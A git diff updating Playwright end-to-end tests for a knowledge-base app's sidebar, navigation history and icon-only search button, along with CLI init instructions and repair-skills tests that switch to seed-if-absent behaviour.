- await deletePathIfExists(workerServer.baseURL, scenario.kind, scenario.renamedPath);
-
- try {
- await gotoRootAndAwaitSidebar(page);
-
- const projectRoot = page.locator('[data-sidebar-root-context]');
- await expect(projectRoot).toBeVisible();
- await projectRoot.click({ button: 'right' });
- const contextMenu = page.locator('[data-slot="context-menu-content"]');
- await expect(contextMenu).toBeVisible();
- await page.getByRole('menuitem', { name: scenario.menuItemName, exact: true }).click();
-
- const renameInput = page.getByRole('textbox', { name: scenario.renameInputName });
- await expect(renameInput).toBeVisible({ timeout: 10_000 });
- await expect(contextMenu).toHaveCount(0);
- await expect(renameInput).toBeFocused();
-
- await page.keyboard.type(scenario.renamedPath);
- await page.keyboard.press('Enter');
-
- await expect(sidebarTreeItem(page, scenario.renamedTreeItem)).toBeVisible({
- timeout: 10_000,
- });
- await expect
- .poll(() =>
- existsSync(
- join(
- workerServer.contentDir,
- scenario.kind === 'file' ? `${scenario.renamedPath}.md` : scenario.renamedPath,
- ),
- ),
- )
- .toBe(true);
- } finally {
- await deletePathIfExists(workerServer.baseURL, scenario.kind, scenario.defaultName);
- await deletePathIfExists(workerServer.baseURL, scenario.kind, scenario.renamedPath);
- await restoreRequiredFixtureEntries(workerServer.baseURL, api);
- }
- });
- }
-
- for (const scenario of [
- {
- surface: 'project-root context menu',
- templateName: 'zz-root-menu-focus-template',
- templateTitle: 'Root menu focus template',
- renamedPath: 'zz-root-menu-template-file',
- menuSlot: 'context-menu-content',
- selectTemplate: async (page: Page, templateTitle: string) => {
- const projectRoot = page.locator('[data-sidebar-root-context]');
- await expect(projectRoot).toBeVisible();
- await projectRoot.click({ button: 'right' });
- await page.getByRole('menuitem', { name: 'New from template', exact: true }).hover();
- await page.getByRole('menuitem', { name: templateTitle, exact: true }).click();
- },
- },
{
surface: 'toolbar template menu',
templateName: 'zz-toolbar-focus-template',
diff --git a/packages/app/tests/stress/fixtures/handoff-mocks.ts b/packages/app/tests/stress/fixtures/handoff-mocks.ts
index 6fcbb753c..d5eb5955c 100644
--- a/packages/app/tests/stress/fixtures/handoff-mocks.ts
+++ b/packages/app/tests/stress/fixtures/handoff-mocks.ts
@@ -409,6 +409,7 @@ export async function installHandoffMocks(page: Page, cfg: HandoffMockConfig): P
pinnedTabIds: [],
activeDocName: null,
activeTabId: null,
+ activeTabByMode: { files: null, skills: null },
updatedAt: null,
}),
setSessionState: async () => {},
diff --git a/packages/app/tests/stress/navigation-history.e2e.ts b/packages/app/tests/stress/navigation-history.e2e.ts
index c546e3018..ffd40bb4a 100644
--- a/packages/app/tests/stress/navigation-history.e2e.ts
+++ b/packages/app/tests/stress/navigation-history.e2e.ts
@@ -116,10 +116,12 @@ test('browser history traverses every user-facing navigation target and truncate
}),
});
expect(skillResponse.status).toBe(200);
- expect(await skillResponse.json()).toMatchObject({
- created: true,
- path: expect.stringContaining(skillName),
- });
+ const skillJson = (await skillResponse.json()) as { created: boolean; path: string };
+ expect(skillJson).toMatchObject({ created: true, path: expect.stringContaining(skillName) });
+ // Project skills are content docs at their real in-place dir, so opening one
+ // from the tree is its own navigation target — derive the hash rather than
+ // hardcoding a skills root.
+ const skillDocHash = `#/${skillJson.path.replace(/\.mdx?$/, '')}`;
const skillFileResponse = await fetch(`${workerServer.baseURL}/api/skill-file`, {
method: 'PUT',
@@ -162,13 +164,32 @@ test('browser history traverses every user-facing navigation target and truncate
await expectAsset(page, assetHash, assetName);
const sidebar = page.locator('[data-slot="sidebar-container"]');
- await sidebar.getByRole('button', { name: 'Skills', exact: true }).click();
- await sidebar.getByRole('button', { name: 'Project', exact: true }).click();
- await sidebar.getByText(skillName, { exact: true }).click();
- await sidebar.getByText('scripts/', { exact: true }).click();
- await sidebar.getByTestId(`skill-file-${bundlePath}`).click();
+ // The surface switch is an icon-first ToggleGroup (Radix radios, not
+ // buttons), so address it by test id rather than by role+name.
+ // Switching to Skills clears the hash (the Skills base page) and so is its
+ // own history entry — the traversal below accounts for it.
+ await sidebar.getByTestId('sidebar-skills-toggle').click();
+ await expectHash(page, '');
+ // Pierre's tree renders each label twice (a visible copy and an
+ // aria-hidden overflow measurement copy), so take the first match.
+ const projectGroup = sidebar.getByText('Project', { exact: true }).first();
+ await projectGroup.waitFor({ timeout: 15_000 });
+ const skillRow = sidebar.getByText(skillName, { exact: true }).first();
+ // The scope group's expanded state is persisted, so it can already be open;
+ // clicking unconditionally would collapse it and hide the skill.
+ if (!(await skillRow.isVisible())) {
+ await projectGroup.click();
+ }
+ await skillRow.click();
+ await sidebar.getByText('scripts', { exact: true }).first().click();
+ // Rows label the stem; the extension renders as a separate badge.
+ await sidebar.getByText(bundleFile.replace(/\.ts$/, ''), { exact: true }).first().click();
await expectSkillFile(page, skillFileHash, bundleFile, bundleMarker);
+ await page.goBack();
+ await expectDocument(page, skillDocHash, `Navigation Skill ${id}`);
+ await page.goBack();
+ await expectHash(page, '');
await page.goBack();
await expectAsset(page, assetHash, assetName);
await page.goBack();
@@ -189,10 +210,21 @@ test('browser history traverses every user-facing navigation target and truncate
await page.goForward();
await expectAsset(page, assetHash, assetName);
await page.goForward();
+ await expectHash(page, '');
+ await page.goForward();
+ await expectDocument(page, skillDocHash, `Navigation Skill ${id}`);
+ await page.goForward();
await expectSkillFile(page, skillFileHash, bundleFile, bundleMarker);
+ await page.goBack();
+ await expectDocument(page, skillDocHash, `Navigation Skill ${id}`);
+ await page.goBack();
+ await expectHash(page, '');
await page.goBack();
await expectAsset(page, assetHash, assetName);
+ // Back on the asset, the sidebar is still showing Skills — switch to Files
+ // so the tree row below is the one being clicked.
+ await sidebar.getByTestId('sidebar-files-toggle').click();
await sidebarTreeItem(page, `${baselineDoc}.md`).click();
await expectDocument(page, baselineHash, `Navigation Baseline ${id}`);
await page.goForward();
diff --git a/packages/app/tests/stress/sidebar-search-pill.e2e.ts b/packages/app/tests/stress/sidebar-search-pill.e2e.ts
index 839ce8697..e20d01f75 100644
--- a/packages/app/tests/stress/sidebar-search-pill.e2e.ts
+++ b/packages/app/tests/stress/sidebar-search-pill.e2e.ts
@@ -1,42 +1,42 @@
/**
- * E2E regression coverage for the sidebar search pill (the labeled
- * Search affordance that replaces the icon-only entry point in
- * FileSidebar's chrome row).
+ * E2E regression coverage for the sidebar search affordance — an icon-only
+ * Search button pinned to the right end of the Files/Skills chrome row.
*
- * The pill row lives as a sibling between SidebarHeader and SidebarContent;
- * source-level guards in FileSidebar.test.ts pin the structural wiring.
- * This file is the DOM-bound complement, covering:
+ * The button shares its row with the Files/Skills toggle, as a sibling between
+ * SidebarHeader and SidebarContent. This file is the DOM-bound complement to the
+ * source-level guards, covering:
*
- * - discovery: pill renders above the FileTree on initial sidebar load,
- * without hover/focus
- * - mouse path: clicking the pill opens the CommandPalette
+ * - discovery: the icon button renders above the FileTree on initial sidebar
+ * load, without hover/focus
+ * - mouse path: clicking it opens the CommandPalette
* - keyboard path: ⌘K / Ctrl+K still opens the palette (regression guard
* for the global keydown listener inside CommandPalette)
- * - divergent click-while-open semantics: pill click is a no-op when the
+ * - divergent click-while-open semantics: the button click is a no-op when the
* palette is open (mirrors the legacy icon); ⌘K-while-open toggles
* closed (preserves the global-shortcut contract)
* - project actions live with the project-root row rather than
* SidebarHeader; the legacy Search ToolbarButton remains absent
- * - accessible-name calculation returns "Search" with no aria-label
- * override; lucide icon carries aria-hidden
+ * - accessible-name calculation returns "Search" via the button's aria-label
+ * (icon-only, no visible label); the lucide icon carries aria-hidden
* - compositional journey: discovery → click → query → result selection
* navigates to the matching doc
- * - visual anatomy: rounded-lg border-radius (not rounded-full, not
- * rounded-md), DOM order svg → label → kbd, ~36px tall, full-width
- * - kbd hint adapts to platform — '⌘ K' on Mac, 'Ctrl K' elsewhere
+ * - visual anatomy: icon-only, no in-button label/kbd, roughly square
+ * (size-icon-sm ~28px), right-aligned (ml-auto) at the row's trailing edge
+ * - the ⌘K / Ctrl+K hint lives in the hover tooltip (platform-aware), not in
+ * the button itself
* - both responsive paths render cleanly (inline ≥1280px and
* push-translate <1280px)
- * - hover and focus-visible states from the shadcn Button cva are not
- * suppressed by the pill overrides
- * - the pill follows the sidebar offcanvas during collapse
- * - web-mode 'Files' label still renders alongside the pill
- * - empty-workspace path (hasFolders === false) renders the pill while the
+ * - hover and focus-visible states from the shadcn Button cva render
+ * - the button follows the sidebar offcanvas during collapse
+ * - web-mode 'Files' label still renders alongside the button
+ * - empty-workspace path (hasFolders === false) renders the button while the
* project-root action row retains all 4 controls — the Tree view options
* trigger is state-independent (its Show group always has content)
- * - the multi-scope search backend still yields results when the pill
+ * - the multi-scope search backend still yields results when the button
* opens the palette (no regression in palette functionality)
* - the locked `data-telemetry-event="ok.sidebar.search_pill.click"`
- * stable selector
+ * stable selector (kept across the pill→icon redesign so historical
+ * click-analytics stay on one key)
*
* Not covered here (handled separately): render-throw inside the
* ErrorBoundary — source-level guards pin the boundary wiring + onError
@@ -64,7 +64,9 @@ const pill = (page: Page) => page.locator('[data-telemetry-event="ok.sidebar.sea
const cmdkRoot = (page: Page) => page.locator('[cmdk-root]');
const cmdkInput = (page: Page) => page.locator('[data-slot="command-input"]');
const sidebarHeader = (page: Page) => page.locator('[data-slot="sidebar-header"]');
-const projectRootToolbar = (page: Page) =>
+// The project actions sit inline on the project-root row, with the folder they
+// act on — the header keeps only back/forward, which are global.
+const projectActionsToolbar = (page: Page) =>
page
.locator('[data-sidebar-root-context]')
.locator('xpath=ancestor::*[@data-slot="sidebar-group"][1]')
@@ -134,7 +136,7 @@ async function restoreRequiredFixtureEntries({
}
test.describe('sidebar-search-pill — discovery, click, keyboard, semantics', () => {
- test('pill renders above FileTree on initial sidebar load with the locked telemetry attribute', async ({
+ test('icon button renders above FileTree on initial sidebar load with the locked telemetry attribute', async ({
page,
api,
}) => {
@@ -146,10 +148,12 @@ test.describe('sidebar-search-pill — discovery, click, keyboard, semantics', (
// anchor used by command-palette-flicker.e2e.ts.
await page.waitForSelector('[role="treeitem"]', { timeout: 15_000 });
- // Pill is visible without hover/focus.
+ // Button is visible without hover/focus.
await expect(pill(page)).toBeVisible();
- // Pill has the leading <svg> and a <kbd> inside it (icon left, kbd right).
+ // Icon-only: exactly the leading <svg>, and NO in-button <kbd> or visible
+ // label span — the label + ⌘K hint moved into the (hover-only, portalled)
+ // tooltip.
const childCount = await pill(page).evaluate((el) => ({
hasSvg: !!el.querySelector('svg'),
hasKbd: !!el.querySelector('kbd'),
@@ -158,8 +162,8 @@ test.describe('sidebar-search-pill — discovery, click, keyboard, semantics', (
),
}));
expect(childCount.hasSvg).toBe(true);
- expect(childCount.hasKbd).toBe(true);
- expect(childCount.hasLabelSpan).toBe(true);
+ expect(childCount.hasKbd).toBe(false);
+ expect(childCount.hasLabelSpan).toBe(false);
// Locked telemetry attribute value.
await expect(pill(page)).toHaveAttribute(
@@ -316,8 +320,7 @@ test.describe('sidebar-search-pill — discovery, click, keyboard, semantics', (
const searchInsideHeader = sidebarHeader(page).getByRole('button', { name: 'Search' });
await expect(searchInsideHeader).toHaveCount(0);
- // The toolbar is nested under the project-root group, beside the root row.
- const toolbar = projectRootToolbar(page);
+ const toolbar = projectActionsToolbar(page);
await expect(toolbar).toBeVisible();
// The four expected project actions are present. `'New from template'`
@@ -336,7 +339,7 @@ test.describe('sidebar-search-pill — discovery, click, keyboard, semantics', (
await expect(toolbar.getByRole('button', { name: 'New folder' })).toBeVisible();
});
- test('pill has accessible name "Search" with no aria-label override; lucide icon is aria-hidden', async ({
+ test('icon button has accessible name "Search" via aria-label; icon is aria-hidden; no visible label', async ({
page,
api,
}) => {
@@ -345,36 +348,26 @@ test.describe('sidebar-search-pill — discovery, click, keyboard, semantics', (
await page.goto('/#/q007');
await page.waitForSelector('[role="treeitem"]', { timeout: 15_000 });
- // Exactly one button with accessible name matching /^Search/.
- const matchingPills = page.getByRole('button', { name: /^Search/ });
+ // Exactly one expanded-sidebar button with accessible name 'Search'.
+ // (EditorHeader renders its own 'Search (Ctrl+K)' button only when the
+ // sidebar is COLLAPSED, so at the desktop expanded viewport this is unique.)
+ const matchingPills = page.getByRole('button', { name: 'Search', exact: true });
await expect(matchingPills).toHaveCount(1);
- // Button element has NO aria-label attribute (visible text IS the name).
+ // Icon-only, so the accessible name comes from an explicit aria-label
+ // (the visible-label pill contract is gone).
const ariaLabel = await pill(page).getAttribute('aria-label');
- expect(ariaLabel).toBeNull();
+ expect(ariaLabel).toBe('Search');
- // Visible <span>Search</span> is present.
- const labelText = await pill(page).locator('span', { hasText: 'Search' }).first().textContent();
- expect(labelText?.trim()).toBe('Search');
+ // No visible "Search" label span inside the button.
+ const hasLabelSpan = await pill(page).evaluate((el) =>
+ Array.from(el.querySelectorAll('span')).some((sp) => sp.textContent === 'Search'),
+ );
+ expect(hasLabelSpan).toBe(false);
- // The leading lucide Search icon carries aria-hidden="true".
+ // The lucide Search icon carries aria-hidden="true".
const svgAriaHidden = await pill(page).locator('svg').first().getAttribute('aria-hidden');
expect(svgAriaHidden).toBe('true');
-
- // Definitive accessible-name check via Playwright's role-name match
- // (above `matchingPills.count() === 1` already passed, proving the
- // AAM resolved a name starting with "Search"). Additionally compute
- // the name from non-aria-hidden text content — the kbd's text may
- // contribute (minor verbosity, intentional), but the visible "Search"
- // span MUST lead.
- const accessibleName = await pill(page).evaluate((el) => {
- const clone = el.cloneNode(true) as HTMLElement;
- for (const n of clone.querySelectorAll('[aria-hidden="true"]')) {
- n.remove();
- }
- return (clone.textContent || '').trim();
- });
- expect(accessibleName).toMatch(/^Search/);
});
test('compositional journey — discovery → click → query → result selection navigates to the matching doc', async ({
@@ -434,7 +427,7 @@ test.describe('sidebar-search-pill — discovery, click, keyboard, semantics', (
});
test.describe('sidebar-search-pill — visual anatomy and layout', () => {
- test('pill border-radius is rounded-lg (~10px) — NOT rounded-full, NOT rounded-md', async ({
+ test('icon button has a small (non-pill) corner radius — NOT rounded-full', async ({
page,
api,
}) => {
@@ -452,21 +445,17 @@ test.describe('sidebar-search-pill — visual anatomy and layout', () => {
};
});
- // rounded-lg maps to --radius-lg which is var(--radius) per
- // globals.css (search for the `--radius-lg` and `--radius`
- // declarations — line numbers drift; token names are stable). Today
- // it evaluates to 10px. Primary contract: not rounded-full (9999px,
- // would render as a pure pill). The 7-12px band tolerates minor
- // token shifts; --radius-md in this project also lands at 8px
- // (`calc(var(--radius) * 0.8)`), so this band does NOT distinguish
- // rounded-lg from rounded-md — source-level guards in
- // SidebarSearchBar.test.ts pin the `rounded-lg` class literal.
+ // The Button `size-icon-sm` variant applies `rounded-[min(var(--radius-md),12px)]`,
+ // which lands around 8px today. Primary contract: it is a small square-ish
+ // corner, NOT rounded-full (which on a ~28px square would render as a circle,
+ // ~14px). The 4-13px band tolerates minor token shifts while still excluding
+ // the pill/circle case.
const r = Number.parseFloat(styles.radiusTopLeft);
- expect(r).toBeGreaterThanOrEqual(7);
- expect(r).toBeLessThanOrEqual(12);
+ expect(r).toBeGreaterThanOrEqual(4);
+ expect(r).toBeLessThanOrEqual(13);
});
- test('kbd hint adapts to platform — Mac shows ⌘ K, non-Mac shows Ctrl K', async ({
+ test('hover tooltip carries the platform-aware kbd hint — Mac shows ⌘ K, non-Mac shows Ctrl K', async ({
page,
api,
}) => {
@@ -475,9 +464,16 @@ test.describe('sidebar-search-pill — visual anatomy and layout', () => {
await page.goto('/#/q010');
await page.waitForSelector('[role="treeitem"]', { timeout: 15_000 });
- const isMac = await page.evaluate(() => navigator.userAgent.includes('Mac'));
- const kbdText = await pill(page).locator('kbd').textContent();
+ // The kbd hint moved out of the button and into the hover tooltip (a Radix
+ // portal). Hover the icon, then read the kbd from the tooltip content.
+ // Radix renders the content twice (the visible tooltip plus an accessibility
+ // copy), so scope to the first match to avoid a strict-mode violation.
+ await pill(page).hover();
+ const tooltipKbd = page.locator('[data-slot="tooltip-content"] kbd').first();
+ await expect(tooltipKbd).toBeVisible({ timeout: 2_000 });
+ const isMac = await page.evaluate(() => navigator.userAgent.includes('Mac'));
+ const kbdText = await tooltipKbd.textContent();
if (isMac) {
expect(kbdText).toBe('⌘ K');
} else {
@@ -485,7 +481,7 @@ test.describe('sidebar-search-pill — visual anatomy and layout', () => {
}
});
- test('visual anatomy — DOM order is svg → label-span → kbd; LTR positions; ~36px tall; full-width', async ({
+ test('visual anatomy — icon-only, roughly square (~28px), right-aligned at the row trailing edge', async ({
page,
api,
}) => {
@@ -498,46 +494,31 @@ test.describe('sidebar-search-pill — visual anatomy and layout', () => {
const button = el as HTMLElement;
const rect = button.getBoundingClientRect();
const svg = button.querySelector('svg');
- const span = button.querySelector('span');
- const kbd = button.querySelector('kbd');
- if (!svg || !span || !kbd) {
- return { ok: false as const };
- }
- const svgRect = svg.getBoundingClientRect();
- const spanRect = span.getBoundingClientRect();
- const kbdRect = kbd.getBoundingClientRect();
- // DOM order check via Node.compareDocumentPosition.
- const svgBeforeSpan =
- (svg.compareDocumentPosition(span) & Node.DOCUMENT_POSITION_FOLLOWING) !== 0;
- const spanBeforeKbd =
- (span.compareDocumentPosition(kbd) & Node.DOCUMENT_POSITION_FOLLOWING) !== 0;
+ const parent = button.parentElement;
+ if (!svg || !parent) return { ok: false as const };
+ const parentRect = parent.getBoundingClientRect();
return {
ok: true as const,
height: rect.height,
width: rect.width,
- svgRight: svgRect.right,
- spanLeft: spanRect.left,
- spanRight: spanRect.right,
- kbdLeft: kbdRect.left,
- svgBeforeSpan,
- spanBeforeKbd,
+ hasSvg: true,
+ // Distance from the button's right edge to its row's right edge — ml-auto
+ // pins it to the trailing edge, so this gap is small.
+ rightGap: parentRect.right - rect.right,
};
});
- if (!layout.ok) throw new Error('pill structural children missing');
-
- // DOM order
- expect(layout.svgBeforeSpan).toBe(true);
- expect(layout.spanBeforeKbd).toBe(true);
- // LTR position — small fp tolerance because flex layout may produce
- // sub-pixel overlap.
- expect(layout.svgRight).toBeLessThanOrEqual(layout.spanLeft + 1);
- expect(layout.spanRight).toBeLessThanOrEqual(layout.kbdLeft + 1);
- // Height ~36px — h-9 in Tailwind v4 = 36px.
- expect(layout.height).toBeGreaterThanOrEqual(34);
- expect(layout.height).toBeLessThanOrEqual(40);
- // Full-width — w-full inside `px-2` parent. The pill should be at
- // least 200px wide at a 1440px viewport.
- expect(layout.width).toBeGreaterThan(200);
+ if (!layout.ok) throw new Error('search icon button or its row parent missing');
+
+ // size-icon-sm → `size-7` = 28px square. Roughly square, compact — NOT the
+ // old full-width (>200px) pill.
+ expect(layout.height).toBeGreaterThanOrEqual(24);
+ expect(layout.height).toBeLessThanOrEqual(32);
+ expect(layout.width).toBeGreaterThanOrEqual(24);
+ expect(layout.width).toBeLessThanOrEqual(32);
+ // Right-aligned via `ml-auto`: its right edge sits near the row's right edge
+ // (allow for the row's own trailing padding).
+ expect(layout.rightGap).toBeGreaterThanOrEqual(-1);
+ expect(layout.rightGap).toBeLessThanOrEqual(12);
});
test('desktop viewport (≥1280px) renders the pill cleanly within sidebar bounds', async ({
@@ -620,28 +601,16 @@ test.describe('sidebar-search-pill — visual anatomy and layout', () => {
rightDelta: parentRect.right - pillRect.right,
};
});
- if (!fit.ok) throw new Error('pill parent wrapper not found');
- // Pill fits inside its immediate parent (no horizontal overflow).
- // `leftDelta` and `rightDelta` should both be ≥ 0 (within 1px fp).
+ if (!fit.ok) throw new Error('search icon button parent wrapper not found');
+ // Icon button fits inside its immediate parent (no horizontal overflow).
+ // `leftDelta` and `rightDelta` should both be ≥ 0 (within 1px fp) — the
+ // button is right-aligned (`ml-auto`), so `leftDelta` is large (toggle +
+ // gap sit to its left) and `rightDelta` is small.
expect(fit.leftDelta).toBeGreaterThanOrEqual(-1);
expect(fit.rightDelta).toBeGreaterThanOrEqual(-1);
- // Sidebar primitive width is 288px (18rem); parent is 288 - 2*8(px-2)
- // = 272px. Pill should occupy nearly the full parent width. (The
- // pill row uses px-2 to align with Pierre Trees' 8px padding-inline,
- // so the pill's left/right edges match the FileTree row content
- // area underneath.)
- expect(fit.pillWidth).toBeGreaterThan(150);
- expect(fit.pillWidth).toBeLessThanOrEqual(280);
-
- // kbd remains visible without overflow-ellipsis.
- const kbd = pill(page).locator('kbd');
- await expect(kbd).toBeVisible();
- const kbdOverflow = await kbd.evaluate((el) => {
- const cs = window.getComputedStyle(el as HTMLElement);
- return { textOverflow: cs.textOverflow, overflow: cs.overflow };
- });
- // Either default 'clip' or 'visible' — NOT a forced 'ellipsis' truncation.
- expect(kbdOverflow.textOverflow === 'clip' || kbdOverflow.textOverflow === '').toBeTruthy();
+ // Compact icon button (size-icon-sm ~28px), never overflowing the row.
+ expect(fit.pillWidth).toBeGreaterThanOrEqual(24);
+ expect(fit.pillWidth).toBeLessThanOrEqual(32);
});
test('hover and focus-visible states render via shadcn Button cva (not suppressed by pill overrides)', async ({
@@ -809,8 +778,10 @@ test.describe('sidebar-search-pill — Electron host & sidebar-state', () => {
await page.goto('/#/q022');
await page.waitForSelector('[role="treeitem"]', { timeout: 15_000 });
- // 'Files' label visible in web mode (no okDesktop shim).
- const filesLabel = page.getByText('Files', { exact: true });
+ // 'Files' label visible in web mode (no okDesktop shim). Scope to the
+ // font-mono group label — the Files/Skills sidebar toggle also renders a
+ // "Files" segment, so a bare exact-text match is ambiguous (strict-mode).
+ const filesLabel = page.getByText('Files', { exact: true }).and(page.locator('.font-mono'));
await expect(filesLabel).toBeVisible();
const klass = (await filesLabel.getAttribute('class')) ?? '';
expect(klass).toContain('font-mono');
@@ -851,7 +822,7 @@ test.describe('sidebar-search-pill — Electron host & sidebar-state', () => {
.toBe('expanded');
});
- test('empty workspace — pill and the project-root 4-button toolbar remain available', async ({
+ test('empty workspace — pill and the 4-button project-actions toolbar remain available', async ({
page,
api,
workerServer,
@@ -886,7 +857,7 @@ test.describe('sidebar-search-pill — Electron host & sidebar-state', () => {
await page.setViewportSize(DESKTOP_VIEWPORT);
await page.goto('/');
- const toolbar = projectRootToolbar(page);
+ const toolbar = projectActionsToolbar(page);
await expect(toolbar).toBeVisible({ timeout: 15_000 });
// Four core project actions are present. ASCII-only substring match for
@@ -901,10 +872,9 @@ test.describe('sidebar-search-pill — Electron host & sidebar-state', () => {
// hides with the Expand/Collapse-all commands.
await expect(toolbar.getByRole('button', { name: 'Tree view options' })).toBeVisible();
- // Pill renders normally.
+ // Search icon button renders normally (icon-only — no in-button kbd).
await expect(pill(page)).toBeVisible();
await expect(pill(page).locator('svg')).toBeVisible();
- await expect(pill(page).locator('kbd')).toBeVisible();
} finally {
await restoreRequiredFixtureEntries({ api, baseURL: workerServer.baseURL });
}
diff --git a/packages/app/vitest.dom.config.ts b/packages/app/vitest.dom.config.ts
index df416f256..0de36db6f 100644
--- a/packages/app/vitest.dom.config.ts
+++ b/packages/app/vitest.dom.config.ts
@@ -29,11 +29,13 @@ export const appDomVitestConfig = {
environmentOptions: {
jsdom: { url: 'http://localhost:5173', pretendToBeVisual: true },
},
- include: ['**/*.dom.test.tsx'],
+ // `.tsx` mounts React; `.ts` is the same jsdom tier for DOM-only tests
+ // that never render a component (shadow-root helpers, for instance).
+ include: ['**/*.dom.test.ts?(x)'],
// The base config excludes `**/*.dom.test.tsx` so the unit tier stays
// no-DOM; this is the one project that runs them, so drop that single
// exclusion while keeping node_modules / .spec / .e2e out.
- exclude: appVitestConfig.test.exclude.filter((pattern) => pattern !== '**/*.dom.test.tsx'),
+ exclude: appVitestConfig.test.exclude.filter((pattern) => pattern !== '**/*.dom.test.ts?(x)'),
setupFiles: [...appVitestConfig.test.setupFiles, jsdomSetupPath],
// Per-test budget carried over from the bun `--timeout 30000`. Declared
// literally (not only inherited) so the CI test-coverage meta-guard reads it
diff --git a/packages/cli/src/commands/init.ts b/packages/cli/src/commands/init.ts
index fdde17def..aba0f7421 100644
--- a/packages/cli/src/commands/init.ts
+++ b/packages/cli/src/commands/init.ts
@@ -2317,20 +2317,10 @@ export function formatInitResult(result: InitCommandResult, cwd: string): string
lines.push(` 1. Open your editor (${info(configuredLabels.join(' / '))})`);
lines.push(' 2. Approve the MCP server when prompted');
lines.push(' 3. (Optional) scaffold the starter knowledge-base structure:');
- lines.push(
- ` - ${info('ok seed')} — empty repo, Karpathy 3-layer`,
- );
- lines.push(
- ` - ${info('mcp__open-knowledge__discover')} — existing repo, extract conventions`,
- );
- lines.push(' 4. Use the MCP workflow tools as you build the wiki:');
- lines.push(` - ${info('mcp__open-knowledge__ingest')} — capture an external source`);
- lines.push(
- ` - ${info('mcp__open-knowledge__research')} — gather sources and write findings`,
- );
- lines.push(
- ` - ${info('mcp__open-knowledge__consolidate')} — promote research to canonical articles`,
- );
+ lines.push(` - ${info('ok seed --list-packs')} — browse the starter packs`);
+ lines.push(` - ${info('ok seed')} — scaffold an empty repo`);
+ lines.push(' 4. Ask your agent to capture a source, research a topic, or build a wiki —');
+ lines.push(' the procedures ship as skills alongside the MCP tools.');
}
return lines.join('\n');
diff --git a/packages/cli/src/commands/repair-skills.test.ts b/packages/cli/src/commands/repair-skills.test.ts
index 7e81646b5..0a96bec11 100644
--- a/packages/cli/src/commands/repair-skills.test.ts
+++ b/packages/cli/src/commands/repair-skills.test.ts
@@ -52,6 +52,15 @@ function writeStaleSkillFiles(destDir: string, marker: string): void {
writeFileSync(join(destDir, 'leftover.md'), `to-be-orphaned-${marker}`);
}
+// A `.mcp.json` carrying the `# ok-mcp-v1` chain sentinel — the wired signal
+// `editorWiredForOk` matches. Shared by every describe that exercises the
+// create-if-wired path.
+const OK_WIRED_MCP_JSON = JSON.stringify({
+ mcpServers: {
+ 'open-knowledge': { command: '/bin/sh', args: ['-l', '-c', '# ok-mcp-v1\nexec ok mcp'] },
+ },
+});
+
function depsBuilder(opts: {
projectBundleDir: string;
discoveryBundleDir: string;
@@ -109,7 +118,7 @@ describe('repairSkills — project sweep (AC-A1, AC-A2, AC-A3)', () => {
rmSync(scratch.root, { recursive: true, force: true });
});
- it('AC-A1: replaces an existing SKILL.md directory with bundled content (orphans removed)', async () => {
+ it('AC-A1: leaves an existing SKILL.md directory untouched (seed-if-absent)', async () => {
const claudeDest = join(scratch.project, '.claude', 'skills', PROJECT_SKILL_DIR_NAME);
writeStaleSkillFiles(claudeDest, 'A1');
@@ -132,16 +141,14 @@ describe('repairSkills — project sweep (AC-A1, AC-A2, AC-A3)', () => {
expect(result.project.outcome).toBe('done');
if (result.project.outcome !== 'done') throw new Error('unreachable');
const claudeEntry = result.project.entries.find((e) => e.editorId === 'claude');
- expect(claudeEntry?.outcome).toBe('reclaimed');
+ expect(claudeEntry?.outcome).toBe('present');
- expect(readFileSync(join(claudeDest, 'SKILL.md'), 'utf-8')).toContain('bundled-9.9.9-content');
- expect(readFileSync(join(claudeDest, 'references.md'), 'utf-8')).toBe(
- 'bundled-9.9.9-references',
- );
- // Orphan from the stale dir is gone — replaceDir wiped first.
- expect(existsSync(join(claudeDest, 'leftover.md'))).toBe(false);
+ // Seed-if-absent: the existing copy (and its files) are preserved — updates
+ // flow through the manual skills.sh path, not this sweep.
+ expect(readFileSync(join(claudeDest, 'SKILL.md'), 'utf-8')).toBe('stale-A1');
+ expect(existsSync(join(claudeDest, 'leftover.md'))).toBe(true);
- expect(logEvents.some((e) => e.event === 'project-skill-reclaim-reclaimed')).toBe(true);
+ expect(logEvents.some((e) => e.event === 'project-skill-reclaim-reclaimed')).toBe(false);
});
it('AC-A2: greenfield host (no SKILL.md) reports no-token and creates nothing', async () => {
@@ -172,11 +179,14 @@ describe('repairSkills — project sweep (AC-A1, AC-A2, AC-A3)', () => {
});
it('AC-A3: per-host write failure does not stop the other hosts', async () => {
- // Seed both .claude and .cursor with stale SKILL.md.
+ // Wire both .claude and .cursor with no SKILL.md on disk, so the create
+ // path runs for each (seed-if-absent only writes when absent). Claude's
+ // write is then broken so the sweep must still create cursor's.
const claudeDest = join(scratch.project, '.claude', 'skills', PROJECT_SKILL_DIR_NAME);
const cursorDest = join(scratch.project, '.cursor', 'skills', PROJECT_SKILL_DIR_NAME);
- writeStaleSkillFiles(claudeDest, 'a3-claude');
- writeStaleSkillFiles(cursorDest, 'a3-cursor');
+ writeFileSync(join(scratch.project, '.mcp.json'), OK_WIRED_MCP_JSON);
+ mkdirSync(join(scratch.project, '.cursor'), { recursive: true });
+ writeFileSync(join(scratch.project, '.cursor', 'mcp.json'), OK_WIRED_MCP_JSON);
// Break the project bundle source for one host only by injecting a deps
// override that throws on the SECOND resolve call. Easier: use a custom
@@ -226,9 +236,9 @@ describe('repairSkills — project sweep (AC-A1, AC-A2, AC-A3)', () => {
const cursor = result.project.entries.find((e) => e.editorId === 'cursor');
expect(claude?.outcome).toBe('failed');
expect(claude?.error).toContain('simulated rm failure');
- expect(cursor?.outcome).toBe('reclaimed');
- // Cursor's stale orphan got cleaned even though Claude's failed.
- expect(existsSync(join(cursorDest, 'leftover.md'))).toBe(false);
+ // Cursor's skill still gets created even though Claude's write failed.
+ expect(cursor?.outcome).toBe('created');
+ expect(readFileSync(join(cursorDest, 'SKILL.md'), 'utf-8')).toContain('bundled-9.9.9-content');
});
});
@@ -238,12 +248,6 @@ describe('repairSkills — project sweep create-if-wired gate', () => {
let discoveryBundleDir: string;
let logEvents: RepairSkillsLogEvent[];
- // A `.mcp.json` carrying the `# ok-mcp-v1` chain sentinel — the wired signal.
- const OK_WIRED_MCP_JSON = JSON.stringify({
- mcpServers: {
- 'open-knowledge': { command: '/bin/sh', args: ['-l', '-c', '# ok-mcp-v1\nexec ok mcp'] },
- },
- });
const UNWIRED_MCP_JSON = JSON.stringify({ mcpServers: { other: { command: 'node' } } });
// The Windows chain sentinel counts as wired too — an `ok start` on
// Windows (or a shared repo initialized there) must still get skills.
